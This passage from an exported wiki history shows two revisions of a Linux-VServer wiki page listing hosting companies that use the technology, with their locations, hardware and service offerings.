| rowspan=2 |<br />
* ACOX Corporation offers low-cost virtual servers based on the linux-vserver.org project.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.winprofi.de/ WINPROFI]<br />
| rowspan=2 |<br />
* WINPROFI offers cheap virtual servers situated in Munich, Germany.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.studio-51.net/ Studio 51]<br />
Internet Solutions<br />
| rowspan=2 |<br />
* Studio 51 offers virtual servers based on the linux-vserver.org project.<br />
|-<br />
|<br />
|-<br />
! [http://www.conexim.com.au/ Conexim web hosting]<br />
| rowspan=2 |<br />
* Australian quality hosting company offering general hosting, virtual-servers and dedicated, managed hosting services.<br />
|-<br />
| Australia<br />
|-<br />
! [http://www.liquidweb.com Liquid Web Inc.]<br />
| rowspan=2 |<br />
* Liquid Web uses linux-vserver to offer CPanel based hosting services. <br />
* We service hundreds of clients running linux-vserver in our Datacenter located in Lansing, Michigan (USA.)<br />
|-<br />
|<br />
|-<br />
! [http://www.electronicbox.net Electronicbox Communications]<br />
| rowspan=2 |<br />
* We are using Linux-VServer since 2001 and have test it under high load for mission critical services and Linux-VServer was definitively the best software.<br />
* We are providing secure environment with vserver to companies around the world who look for always online servers.<br />
* This is very important for us to have a good software who can process the high load of data we are having daily on the network.<br />
|-<br />
|<br />
|-<br />
! [http://www.openhosting.com/ OpenHosting, Inc.]<br />
| rowspan=2 |<br />
* Inexpensive VServer-based Virtual Servers.<br />
* Sponsors of the [http://www.openvps.org/ OpenVPS] project.<br />
* Now using kernel 2.6 and vserver 1.9.x!<br />
|-<br />
|<br />
|-<br />
! [http://www.dievo.org/ Digital Evolution] <br />
(wargames.unix.se)<br />
| rowspan=2 |<br />
* Digital Evolution is the largest wargaming-site on the net, content-wise.<br />
* We use vserver for all wargames (more than a dozen right now) and all other services as well.<br />
* The stability, ease of use and performance is unrivaled, migrating our servers to vserver is most definately one of the best decisions we've ever made. It happily serves all people (who, after all, try to break our security) logged in on our shellbased wargames and shells out hunderedes of thousands connections to other services each day.<br />
|-<br />
| Sweden<br />
|-<br />
! [http://www.edis.at EDIS GmbH]<br />
| rowspan=2 |<br />
* VPS on High End (2011) HP Hardware (SAS RAID/SSD RAID/96 GB RAM+/1000Mbit Dedicated Uplink)<br />
* Automatic backups<br />
* Custom HA Kernel (R/W optimized, backup functions, hotstandby)<br />
* Highly customized Linux-Vserver also used for webspace SSH access (as system user, not root, with webspace dir mounted and common shell tools)<br />
|-<br />
| Switzerland, United Kingdom, Austria<br />
|-<br />
! [http://www.nine.ch/ Nine Internet Solutions AG]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* We provide [http://nine.ch/vserver/ vServer] with own IP adress. Optionally you can choose between OpenSUSE, Fedora, Ubuntu, Gentoo or CentOS and 32bit. <br />
* On request we install LAMP with Apache, MySQL and PHP as well as ispCP as control panel. <br />
* 70 Dual-Xeon machines with several GB RAM running with Debian Lenny 64bit and linux-vserver-kernel.<br />
* We use VServer as an alternative between the shared webhosting and (managed) dedicated server.<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://vps.at clusterhosting mit system]<br />
| rowspan=2 |<br />
* highavailable vps-servers on cluster<br />
* linux solutions - system, analyse & programming<br />
* docu & infos: http://vps.at<br />
* running 3 machines ( Poweredge 4x400 / 4 gb Ram )<br />
* #-> Linux pe-6300-3 2.6.18-1.2849.fc6.vs2.0.2.1 SMP<br />
|-<br />
| Austria<br />
|-<br />
<br />
! [http://AcornHosting.net Acorn Hosting]<br />
| rowspan=2 |<br />
* Running 6 machines (Mostly P4 2GHz) with vservers, various kernel versions. Since Jul '02.<br />
* Customers love vservers because they can run any software version in them, instead of getting stuck with mychoices.<br />
|-<br />
|<br />
|-<br />
! [http://www.tu-braunschweig.de/rz/services/sys/divdienst/vserver TU Braunschweig]<br />
Rechenzentrum <br />
| rowspan=2 |<br />
* Running two machines, mainly webserver for customers from inside the university.<br />
* One additional machine for a number of services i refuse to run on standalone machines because it is wasted cpu-power.<br />
* One machine for various tests and future developements.<br />
|-<br />
| Germany<br />
|<br />
|-<br />
! [http://www.lunarix.de LUNARIX]<br />
| rowspan=2 |<br />
* LUNARIX offers high quality hosting, including:<br />
* Colocation, Dedicated Server, Tower Housing, 19" Housing, Webhosting, vServer, Webspace, Gameserver, Domains.<br />
* We also setup / implement HA (high availability) cluster and load-balacing solutions.<br />
|-<br />
|<br />
|-<br />
! [http://www.wwip.de W)W)ip High Quality Network]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Offering PBVSC PHP Based Interface to administrate the vservers - PBVSC is back!<br />
* Running since Nov. 2003 stable (Various versions, first we started with vs1.0 now we have 1.22 and kernel 2.4.24 running stable)<br />
* We use VServer too as an alternative between the shared webhosting and serverhousing or rent dedicated server. Customers need a flexible and stable server surroundings and vserver from this projekt is the best we seen out there. Support and community plays hand in hand, not as any commercial products out there. Any other system servers are now in his own vserver on only one big server and it works great. Lower costs on server and therefore lower IT costing. Our IT leader and IT employee in private surroundings, test and use vserver with enthusiasm ;)<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.traffic4all.com Traffic4All.com]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Server: AMD Athlon(tm) XP 2800+ - 1,5 GB DDR Ram<br />
* Linux t4a3 2.4.23-vs1.22 #12 Thu Jan 1 16:11:12 CET 2004 i686 AMD Athlon(tm) XP 2800+ AuthenticAMD GNU/Linux<br />
|-<br />
|<br />
|-<br />
! [http://www.infoteck.qc.ca Infoteck Internet]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Servers: Multiple HP LH4 (4 x XEON) and LH6000 (6 x XEON) w/ 4Gb RAM per servers.<br />
* 1.2Tb of shared storage (RAID50)<br />
* Backbone: 2 x 100Mbps backbone (Dual homing/BGP)<br />
|-<br />
| Turkey<br />
|-<br />
! [http://www.natro.com Natro Web Hosting Services]<br />
| rowspan=2 |<br />
* Offering secure Virtual Dedicated Server environments on Debian & Ubuntu hosts with several choices of guests including control panel integration<br />
* Also providing linux hosting services on linux-vserver powered servers<br />
* Clustering of mission critical services<br />
|-<br />
|<br />
|-<br />
! [http://www.omnis.com.tr Omnis Internet Services]<br />
| rowspan=2 |<br />
* We use it on our hosting servers, it gives extra security and managment for us.<br />
* It is life saver product.<br />
|-<br />
|<br />
|-<br />
! [http://www.zylon.net/ Zylon Internet Services]<br />
| rowspan=2 |<br />
* We use it on our hosting servers to provide an extra layer of security for our customers.<br />
* We do not provide full vservers, we only provide 'standard' webhosting facilities.<br />
|-<br />
|<br />
|-<br />
! [http://www.isp4p.net ISP4P]<br />
| rowspan=2 |<br />
* see also http://www.isp4player.net<br />
* Allround ISP 4 Professionals<br />
* Dedicated Server, Tower Housing, 19" Housing, Webhosting, vServer, vServer Reselling, Domains<br />
|-<br />
|<br />
|-<br />
! [http://www.rootbash.com Nauck IT KG]<br />
(rootbash.com)<br />
| rowspan=2 |<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.star-hosting.de Star-Hosting]<br />
| rowspan=2 |<br />
* see also http://www.vserver4free.de<br />
* Get dedicated Servers, vServers and many more services with a very high traffic-contingent!!<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.planet-lab.org/ PlanetLab]<br />
| rowspan=2 |<br />
* PlanetLab is an open, globally distributed platform for developing, deploying and accessing planetary-scale network services.<br />
* PlanetLab nodes support both short-term experiments and long-running network services.<br />
* To date, more than 200 research projects at top academic institutions have used PlanetLab to experiment with such diverse topics as distributed storage, network mapping, peer-to-peer systems, distributed hash tables, and distributed query processing. See http://www.planet-lab.org/ for more details.<br />
|-<br />
|<br />
|-<br />
! [http://www.dsvr.co.uk/ Designer Servers Ltd]<br />
| rowspan=2 |<br />
* Offering effective Linux vserver-protected hosting to web professionals in the UK and beyond.<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.rosehosting.com Rose Web Services L.L.C.]<br />
| rowspan=2 |<br />
* Founded in April 2001, located in St. Louis, Missouri, USA, Rose Hosting provides all kinds of hosting solutions, including [http://www.rosehosting.com Linux VPS Hosting], based on Linux-VServer Technology.<br />
|-<br />
| USA<br />
|-<br />
! [http://sandino.net/ Sandino Networks]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Dual core servers hardened with GR Security <br />
* Choice of different operating systems: Gentoo, CentOS, Debian, Ubuntu, Slackware, Fedora....<br />
* Choice of different vserver sizes<br />
|-<br />
| México<br />
|-<br />
! [http://www.turnkeyinternet.net TurnKeyInternet.NET]<br />
| rowspan=2 |<br />
* Coast to Coast Datacenter replicated Linux Virtual Private Server packages that are fully mirrored providing 100% uptime.<br />
* Packages include fully managed service and support.<br />
|-<br />
|<br />
|-<br />
! [http://vlinux.biz vlinux.biz]<br />
| rowspan=2 |<br />
* vservers with RAID1/QuadCore/8GB host (512MB guaranteed)<br />
* multihomed location in germany with 4x 1 Gbit uplink.<br />
* Starting with 11.90 EUR / month for a 40GB Raid1 disk, 100 GB traffic p.M. with Gbit Connection (1 IP)<br />
* this ISP also offers a large variety of [http://www.smart-weblications.de/rootserver/ root servers] and also offers server homing.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.cityservers.net/ CityServers.Net]<br />
Dedicated Servers<br />
| rowspan=2 |<br />
* Offering dedicated servers and economic Fedora vServers hosting to IT professionals in the EU.<br />
* Packages include fully managed service and support.<br />
|-<br />
| Poland<br />
|-<br />
! [http://www.vps2go.com/ VPS2GO]<br />
| rowspan=2 |<br />
* Currenly using the stable version but will be upgraded to new 2.6 kernel + vs2.0 soon. <br />
|-<br />
| Japan<br />
|-<br />
! [http://www.net-lab.net net-lab] <br />
vserver/web-hosting<br />
| rowspan=2 |<br />
* Currently run our first testing host on kernel 2.6 + vs2.0 is running. Server Location: Frankfurt, near DE-CIX.<br />
* Commercial offer for vserver accounts soon available.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.stepping-stone.ch stepping stone GmbH]<br />
| rowspan=2 |<br />
* Our whole ISP infrastructure (Mail, Web, Directories, ...) is built upon the 2.0 vServer series on the 2.6 Linux kernel, running Gentoo Linux.<br />
* We provide [http://www.stepping-stone.ch/en/products/vserver/linux-vserver-starter/ Gentoo and Debian vServers].<br />
* iptables/netfilter rules are implemented free of charge on the carrier as part of our service.<br />
* As a speciality, you can run [http://www.asterisk.org/ Asterisk] in our vServers! <br />
* Furthermore we're specialized in providing high availability solutions in combination with [[Welcome_to_Linux-VServer.org|Linux VServer]] and [http://www.drbd.org/ DRBD].<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://www.vroutix.com vRoutix]<br />
| rowspan=2 |<br />
* Offering kernel 2.6 Vservers in Argentina. Compaq Xeon/Sun Ultrasparc Servers (with Raid1).<br />
* Very affordable prices.<br />
* Starter: Very low price !<br />
* Lite: Low end users<br />
* Standard: small bussiness<br />
* Pro: mid-size bussiness<br />
* Control panel to monitor your vServer performance, processes, storage, traffic, account data, etc.<br />
* vServers demo accounts for Free. Try out one of our vServers !!!.<br />
* Now with iptables support inside your vServer !!!<br />
|-<br />
| Argentina<br />
|-<br />
! [http://www.mpexnetworks.de MPeXnetworks] <br />
MPeX.net GmbH<br />
| rowspan=2 |<br />
* High performance virtual servers on RAID1 Hosts<br />
* Leistungsfähige virtuelle Server für Ihr Unternehmen.<br />
* MPeXnetworks is offering three vserver packets.<br />
* Our systems have a low customer density, resulting in more power for everyone.<br />
* Nagios monitoring and free e-mail notification is included.<br />
* All VServer offers include a 30 day money-back-guarantee.<br />
|-<br />
| Berlin/Germany<br />
|-<br />
! [http://www.sentiensystems.com SentienSystems]<br />
| rowspan=2 |<br />
* High performance, quality, and secure Virtual Private Servers<br />
* SentienSystems(.com/.net) proudly utilizes and promotes open source software such as Linux-VServer on the secure and performance-intensive Gentoo Linux platform.<br />
|-<br />
| Austin, Texas, USA<br />
|-<br />
! [http://new.pipni.cz/vindex.phtml PIPNI s.r.o]<br />
| rowspan=2 |<br />
* Linux 2.6 Vservers on Intel Xeon platform<br />
* Providing free and payed vServer hosting. Freehosting has no guarantee, payed are guaranted.<br />
* You can select from Slackware, Gentoo or Debian hosting.<br />
* Freehosting specs: 333 MHz CPU, 128 MB RAM, 2 GB HDD space, 10 GB traffic.<br />
|-<br />
| Czech Republic<br />
|-<br />
! [http://www.croup.de croup.de]<br />
crossmedia solutions<br />
| rowspan=2 |<br />
* We provide individual VServer installations for our customers in Germany using Gentoo Linux.<br />
|-<br />
| Germany<br />
|-<br />
! [http://hosting.media72.co.uk Media72 hosting]<br />
| rowspan=2 |<br />
* Red Hat Enterprise Linux solutions<br />
* We provide custom hosting solutions starting from £2.08 a year. Virus and spam protection as standard on all accounts.<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.upfrontsystems.co.za/hosting/ploneserver Upfront Systems]<br />
| rowspan="2" |<br />
* Servers in Germany and South Africa<br />
* Debian stable hosts based on linux vserver<br />
* Dedicated (but not limited to) Zope and Plone hosting<br />
<br />
|-<br />
| South Africa<br />
|-<br />
! [http://www.notjusthosting.com NotJustHosting]<br />
NotJustHosting<br />
| rowspan="2" |<br />
* Servers in Germany<br />
* Debian stable hosts based on linux vserver, individual solutions<br />
* Fully managed and self-managed packages<br />
* Ruby on Rails, Zope<br />
|-<br />
| Germany - Berlin<br />
|-<br />
! [http://vege.net/vserver vege.net GmbH]<br />
web-hosting / vserver <br />
| rowspan="2" |<br />
* Linux VServer hosting including OpenVCP, DRBD, LVM snapshots<br />
* Servers located in Germany<br />
|-<br />
| Germany - Bremen<br />
|-<br />
<br />
! [http://www.netcup.de/vserver/ netcup vServer]<br />
| rowspan=2 |<br />
* Guaranteed CPU and RAM availability<br />
* Web-based account administration<br />
* On-the-fly web-based VServer configuration tools<br />
* Prepared Images with SysCP or Confixx<br />
* Rescue-System<br />
* Firewall<br />
* Backup- / Snapshot-System (Backup / Restore per Click)<br />
|-<br />
| Germany - Karlsruhe<br />
|-<br />
<br />
! [http://www.webhost-direkt.de/ Webhost-Direkt]<br />
| rowspan=2 |<br />
* Webhosting<br />
* Webspace<br />
* vserver<br />
* Reseller<br />
* Domainrobot<br />
* Managed Hosting<br />
|-<br />
| Germany - Heilbronn<br />
|-<br />
<br />
! [http://www.vserver.si Vserver.si]<br />
| rowspan="2" |<br />
* Virtual Private Servers<br />
* Managed Servers<br />
* Hosting<br />
* Domain registration<br />
* Colocation<br />
<br />
|-<br />
| Slovenia<br />
|- <br />
<br />
! [http://www.alvotech.de/vserver/ Alvotech GmbH - vServer]<br />
| rowspan=2 |<br />
* Guaranteed RAM and CPU availability<br />
* Fully Online administration<br />
* On-the-fly web-based VServer configuration tools <br />
* Prepared Images with Confixx<br />
* Firewall<br />
|-<br />
| Germany - Düsseldorf<br />
|-<br />
<br />
<br />
! [http://www.topnetworks.de Topnetworks e.K.]<br />
| [http://www.topnetworks.de/vserver.html Linux VServer]<br />
* Linux Kernel 2.6 based vServers<br />
* Fully Online administration<br />
* Hosted in professional certified datacenter in Germany<br />
* Distributions: Debian, Ubuntu, RedHat, Fedora Core, CentOS, Asterisk<br />
* Firewall<br />
* Providing payed vserver hosting. Starting from 1.99 EUR per month.<br />
* Supported Linux VServer project since 2007<br />
|-<br />
| Germany - Düsseldorf<br />
|-<br />
<br />
! [http://www.toile-libre.org Toile-libre ! ]<br />
| rowspan=2 |<br />
* Non profit Organization offering Vservers with 256Mo of RAM, 10Go of Disk, 1 IPv4 address (IPv6 planned), a guaranteed part of the CPUs ...<br />
* ... at free price (you decide how much you want/can pay) !<br />
* Hosted by http://as48920.net in France ; Contact us by mail: contact@toile-libre.org ;<br />
|-<br />
| France<br />
|-<br />
<br />
! [http://www.xentos.de/de/angebot.html Xentos vServer ]<br />
| rowspan=2 |<br />
* Powerful virtual private servers starting from 6,90 € / month<br />
* [http://www.xentos.de/de/managed-vserver.html Managed VPS] available<br />
* Maximum protection by external firewall solution<br />
* Security through Intrusion Detection System (IDS)<br />
* Datacenter located in Munich<br />
* [http://www.xentos.de/de/technik/betriebssysteme.html Linux distributions]: Debian, Fedora, gentoo, OpenSuse, CentOS, Ubuntu <br />
* [http://www.xentos.de/de/technik/business-packs.html Ready2Use appliances]: JBoss, Asterisk, Joomla, GlassFish, Tomcat, Ruby On Rails<br />
|-<br />
| Germany<br />
|-<br />
<br />
<br />
|}</div>Daniel hozachttp://svn.linux-vserver.org/VServer_HostingVServer Hosting2011-05-28T07:18:41Z<p>Daniel hozac: not vserver</p>
<hr />
<div>Here is a list of '''Companies''' utilizing '''Linux-VServer''' technology '''for Hosting'''...<br />
<br />
{| class="wikitable" style="width: 97%"<br />
! style="width: 25%" | Company <br />
! rowspan="2" | Description<br />
|-<br />
| Location<br />
|-<br />
<br />
! [http://www.gigatux.com GigaTux ]<br />
| [https://www.gigatux.com/virtual.php Virtual Private Servers]<br />
* Linux VPSs based in Maidenhead, near London, UK<br />
* Offers Debian Etch 2.6.18 Xen and Vserver kernel as a standard install option<br />
* Also allows users to use custom kernels<br />
* Users have commented on the stability of the Etch VServer kernel<br />
|-<br />
| Location - United Kingdom <br />
|-<br />
<br />
! [http://www.lvpshosting.com LVPSHosting Europe ]<br />
<br />
| [https://www.lvpshosting.com/vpshosting.html Virtual Private Server ]<br />
* Cluster systems in Rotterdam, Netherlands<br />
* Virtual Private Servers<br />
*NEW - cPanel to all VPS packages can be added <br />
* CentOS 4, CentOS 5, Fedora 10, Fedora 11, Fedora 12, Fedora 13, Ubuntu 8.04 LTS, Ubuntu 9.04, Debian Etch, Debian Lenny<br />
* We have VPS starting from $18.85 (the cheapest you will get)<br />
* Use Code 55CUT (at checkout) to get 55% less for your first month.<br />
* Everything from mainstream adult allow, monitoring systems Nagios and Cacti, application hosting, blog hosting<br />
* Costume VPS's available <br />
|-<br />
<br />
|-<br />
| Location - Europe - Netherlands<br />
|-<br />
! [http://www.danec.net DANEC Germany]<br />
Virtual Server Cluster Services<br />
| [https://www.danec.net/customer DANEC Orderpanel]<br />
* Cluster systems in Nuremberg and Frankfurt<br />
* KVM and OpenVZ systems avaiable<br />
* Virtual PBX systems<br />
* Debian, CentOS and Unbutu avaiable<br />
<br />
* We have expanded our CoLocation services with<br />
* VPS servers avaiable from 5 euro per month<br />
|-<br />
|-<br />
! [http://rentahost.ch Switzerland]<br />
Virtual Cluster Hosting<br />
| [http://rentahost.ch rentAhost.ch]<br />
* fully virtualized environment<br />
* Build upon our own hardware production<br />
* Using our wonderfull stable Linux Distribution [http://weblinux.ch WebLinux]<br />
<br />
* We offer specialized and stable Linux VServer Solutions<br />
* flexible on its most, if needed, stable as rock<br />
<br />
* [http://prounix.ch proUnix.ch] - Consultant - Borovcnik Peter<br />
|-<br />
|-<br />
! [http://www.dreamhostps.com/ DreamHost P.S.]<br />
| rowspan=2 |<br />
* Debian servers<br />
* Guaranteed CPU and RAM availability<br />
* Web-based account administration<br />
* On-the-fly web-based VServer configuration tools<br />
|-<br />
| Los Angeles, California, USA<br />
|-<br />
! [http://www.wessexnetworks.com Wessex Networks]<br />
| rowspan=2 |<br />
* Linux VServer Dedicated Managed Virtual Servers<br />
* Debian-based / dedicated IP address<br />
* RAID Storage, Additional Backup, 100Mbit Burst<br />
* Host servers at [http://www.telecityredbus.com/uk/manchester Telecity Redbus Manchester]<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.datakompaniet.no DataKompaniet]<br />
| rowspan=2 |<br />
* We offer affordable Linux VServers on a 100Mbit fiber Internet connection<br />
* Gentoo based / firewalled / 2.6 kernel / private or (optional) public IP<br />
* VServers have been offered since 2004<br />
* Host servers are RAID5 equipped, and have historically had extremly good uptimes<br />
* Host servers are located in a professional server room, in the same building as Uninett Norid (Norway's TLD (.no) Registry)<br />
|-<br />
| Norway<br />
|-<br />
! [http://lylix.net LYLIX]<br />
VPS Hosting<br />
| rowspan=2 |<br />
* Virtual private servers based on '''2.6 kernel and 2.2.0 VServer'''.<br />
* Several different userlands are available in 32 and 64 bit, including '''Gentoo, Debian, Slackware, Fedora Core, CentOS, Arch Linux, OpenSuSE'''.<br />
* Custom images also accepted!<br />
* '''Asterisk PBX and Trixbox supported''', including Meetme, MOH, and IAX.<br />
* '''Three regional datacenter locations''': Northeast, West, and South USA.<br />
* Each primary host backed by secondary host via '''high-availability data replication''' for emergency recovery<br />
* '''"Dedicated" VPS service''' available for guaranteed minimum CPU<br />
* Comprehensive customer portal w/ VPS management and statistics<br />
|-<br />
| United States of America<br />
|-<br />
! [http://www.sns.ro SNS] <br />
System & Network Solutions<br />
| rowspan=2 |<br />
* We are using vservers in most of our setups and on hundreds of servers that offer public services - such as web, mail, dns, sql. <br />
* We also do local evangelisation for the project (just because it kicks ass). <br />
|-<br />
| Romania<br />
|-<br />
! [http://netflow.ru Sky Media]<br />
| rowspan=2 |<br />
|-<br />
| Russia<br />
|-<br />
! [http://acewebhosting.com Ace WebHosting]<br />
| rowspan=2 |<br />
* We provide affordable virtual private servers. We also use vservers for shared hosting.<br />
|-<br />
|<br />
|-<br />
! [http://www.tpg.com.au TPG Internet]<br />
| rowspan=2 |<br />
* Currently using vservers for providing Gaming services.<br />
|-<br />
| Australia<br />
|-<br />
! [http://www.expio.co.nz EXPIO Communications]<br />
| rowspan=2 |<br />
* Specialising in Linux Virtual Server hosting solutions.<br />
* Running the FreeVPS platform, which is based on linux-vserver, integrated with H-Sphere control panel.<br />
* Providing virtual server hosting since 1998.<br />
|-<br />
| New Zealand<br />
|-<br />
! [http://www.hostix.it HostiX]<br />
| rowspan=2 |<br />
* Italian hosting provider has been offering the service since the early versions of vserver.<br />
* Currenly using the stable version but has beta program for the new 2.6 kernels.<br />
* High availability vservers on request too.<br />
|-<br />
| Italy<br />
|-<br />
! [http://www.virtualinfrastructure.nl Virtualinfrastructure.nl]<br />
| rowspan=2 |<br />
* Dutch consultancy and development company LinIT Technologies started a site about Linux vserver technology, also offering consultancy and support for Vserver.<br />
|-<br />
| The Netherlands<br />
|-<br />
! [http://www.virtuaserver.com.br VirtuaServer]<br />
| rowspan=2 |<br />
* Affordable virtual private servers in Brazil.<br />
* The first company in Brazil to introduce vserver hosting.<br />
* We offer our customers an exclusive control panel which allows them to monitor their servers, easily setup firewall rules and backup their data.<br />
* Running kernel 2.6 and hosting Debian, Fedora, Mandrake, Slackware, Conectiva and CentOS virtual servers.<br />
|-<br />
| Brazil<br />
|-<br />
! [http://www.neoisis.net www.neoisis.net]<br />
| rowspan=2 |<br />
* Internet service infrastructure and hosting: domain names, web sites, email systems, virtual servers. Bulk delivery for resellers. Custom-made solutions developed in cooperation with the client.<br />
* Planning and strategy for ICT organization and leadership.<br />
* Research and analysis.<br />
* Tailored systems and programming services. Functional analysis, testing, debugging.<br />
* Usability.<br />
* General ICT consulting.<br />
* Linux-VServer -based virtual servers available with several different distributions.<br />
|-<br />
| Finland<br />
|-<br />
! [http://www.prosite.de/v_server/virtual_server_uebersicht.html Prosite V-Server]<br />
| rowspan=2 |<br />
* High performance v servers on systems with constant performance monitoring<br />
* Leistungsfähige virtuelle Server mit ständiger Performance-Überwachung<br />
* Guaranteed and scalable CPU and RAM use<br />
* Web-based and automated v server administration<br />
* Online web-based VServer configuration tools (image setup, Backup, Rescue)<br />
|-<br />
| Germany<br />
|-<br />
! [http://webhosting.lycos.co.uk/expert/comparevds/ Lycos Europe]<br />
| rowspan=2 |<br />
* active cooperation with VServer project since 2004<br />
* High performance and quality VDS Solutions based on Linux-VServer Technology<br />
* low prices and free trials<br />
* Web Administration panel to monitor and use main functions of your Vserver<br />
* Control Panel to monitor your account data etc.<br />
* Hosted in professional certified datacenter in Germany<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.v-server.cz/ FinalTek.com]<br />
| rowspan=2 |<br />
* Linux kernel 2.6 based vservers / Dual Intel P4 or Xeon platform.<br />
* Providing payed vserver hosting. Starting from 9 EUR per month.<br />
* Distributions: Debian, Centos, Redhat, Fedora, Ubuntu and others on demand.<br />
* Start specs: 400MHz CPU, 192MB RAM, 5GB HDD space, unlimited traffic.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.greatnet.de/cms/front_content.php?idcat=5 Greatnet VServer]<br />
| rowspan=2 |<br />
* Linux V-Server from Greatnet with Controlpanel (Confixx) included<br />
* Virtual Server start 5,99 Euro each month<br />
* Distributions: Debian, Centos, Gentoo, Fedora, Ubuntu, OpenSuse, Slackware<br />
* Controlpanel (rescue, reinstall, reboot, bandwith usage and many more)<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.ikse.net Ikse]<br />
| rowspan=2 |<br />
* Ikse provide Virtual Dedicated Server on Debian and Fedora Core, empty, or with a free 'hosting pack'.<br />
* Convert your existing "real Linux server" to Ikse Virtual Dedicated Server is also possible.<br />
|-<br />
| France<br />
|-<br />
! [http://www.odsol.com ODSOL Premium Web Hosting]<br />
| rowspan=2 |<br />
* We specialise in [http://www.odsol.com ecommerce hosting] using virtual private server technology.<br />
* We offer both Linux-vserver [http://www.odsol.com/virtual_private_server/ virtual dedicated server] and Virtuozzo based [http://www.odsol.com/virtual_private_server/ virtual private server], Cpanel and DirectAdmin control panel included.<br />
|-<br />
|<br />
|-<br />
! [http://www.ip-cracks.ch ip-cracks GmbH]<br />
| rowspan=2 |<br />
* We offer Linux-VServers in different flavours to our customers. The product range starts with the Sandbox Private for residential customers up to the Sandbox Pro for business customers with high expectations. We have a set of new products in the queue which have a strong focus for the small and medium business companies as for an example a centralised DMS. Many services are based on the Linux-vServer technology.<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://www.acox.de/ ACOX Corporation]<br />
| rowspan=2 |<br />
* ACOX Corporation offers low-cost virtual servers based on the linux-vserver.org project.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.winprofi.de/ WINPROFI]<br />
| rowspan=2 |<br />
* WINPROFI offers cheap virtual servers situated in Munich, Germany.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.studio-51.net/ Studio 51]<br />
Internet Solutions<br />
| rowspan=2 |<br />
* Studio 51 offers virtual servers based on the linux-vserver.org project.<br />
|-<br />
|<br />
|-<br />
! [http://www.conexim.com.au/ Conexim web hosting]<br />
| rowspan=2 |<br />
* Australian quality hosting company offering general hosting, virtual-servers and dedicated, managed hosting services.<br />
|-<br />
| Australia<br />
|-<br />
! [http://www.liquidweb.com Liquid Web Inc.]<br />
| rowspan=2 |<br />
* Liquid Web uses linux-vserver to offer CPanel based hosting services. <br />
* We service hundreds of clients running linux-vserver in our Datacenter located in Lansing, Michigan (USA.)<br />
|-<br />
|<br />
|-<br />
! [http://www.electronicbox.net Electronicbox Communications]<br />
| rowspan=2 |<br />
* We are using Linux-VServer since 2001 and have test it under high load for mission critical services and Linux-VServer was definitively the best software.<br />
* We are providing secure environment with vserver to companies around the world who look for always online servers.<br />
* This is very important for us to have a good software who can process the high load of data we are having daily on the network.<br />
|-<br />
|<br />
|-<br />
! [http://www.openhosting.com/ OpenHosting, Inc.]<br />
| rowspan=2 |<br />
* Inexpensive VServer-based Virtual Servers.<br />
* Sponsors of the [http://www.openvps.org/ OpenVPS] project.<br />
* Now using kernel 2.6 and vserver 1.9.x!<br />
|-<br />
|<br />
|-<br />
! [http://www.dievo.org/ Digital Evolution] <br />
(wargames.unix.se)<br />
| rowspan=2 |<br />
* Digital Evolution is the largest wargaming-site on the net, content-wise.<br />
* We use vserver for all wargames (more than a dozen right now) and all other services as well.<br />
* The stability, ease of use and performance is unrivaled, migrating our servers to vserver is most definately one of the best decisions we've ever made. It happily serves all people (who, after all, try to break our security) logged in on our shellbased wargames and shells out hunderedes of thousands connections to other services each day.<br />
|-<br />
| Sweden<br />
|-<br />
! [http://www.nine.ch/ Nine Internet Solutions AG]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* We provide [http://nine.ch/vserver/ vServer] with own IP adress. Optionally you can choose between OpenSUSE, Fedora, Ubuntu, Gentoo or CentOS and 32bit. <br />
* On request we install LAMP with Apache, MySQL and PHP as well as ispCP as control panel. <br />
* 70 Dual-Xeon machines with several GB RAM running with Debian Lenny 64bit and linux-vserver-kernel.<br />
* We use VServer as an alternative between the shared webhosting and (managed) dedicated server.<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://vps.at clusterhosting mit system]<br />
| rowspan=2 |<br />
* highavailable vps-servers on cluster<br />
* linux solutions - system, analyse & programming<br />
* docu & infos: http://vps.at<br />
* running 3 machines ( Poweredge 4x400 / 4 gb Ram )<br />
* #-> Linux pe-6300-3 2.6.18-1.2849.fc6.vs2.0.2.1 SMP<br />
|-<br />
| Austria<br />
|-<br />
<br />
! [http://edis.at EDIS GmbH]<br />
| rowspan=2 |<br />
* VPS on High End (2011) HP Hardware (SAS RAID/SSD RAID/48Gb Ram+/1000Mbit Dedicated Uplink)<br />
* Automatic backups<br />
* Custom HA Kernel (R/W optimized, backup functions, hotstandby)<br />
* Highly customized Linux-Vserver also used for webspace SSH access (as system user, not root, with webspace dir mounted and common shell tools)<br />
|-<br />
| Austria<br />
|-<br />
<br />
! [http://AcornHosting.net Acorn Hosting]<br />
| rowspan=2 |<br />
* Running 6 machines (Mostly P4 2GHz) with vservers, various kernel versions. Since Jul '02.<br />
* Customers love vservers because they can run any software version in them, instead of getting stuck with mychoices.<br />
|-<br />
|<br />
|-<br />
! [http://www.tu-braunschweig.de/rz/services/sys/divdienst/vserver TU Braunschweig]<br />
Rechenzentrum <br />
| rowspan=2 |<br />
* Running two machines, mainly webserver for customers from inside the university.<br />
* One additional machine for a number of services i refuse to run on standalone machines because it is wasted cpu-power.<br />
* One machine for various tests and future developements.<br />
|-<br />
| Germany<br />
|<br />
|-<br />
! [http://www.lunarix.de LUNARIX]<br />
| rowspan=2 |<br />
* LUNARIX offers high quality hosting, including:<br />
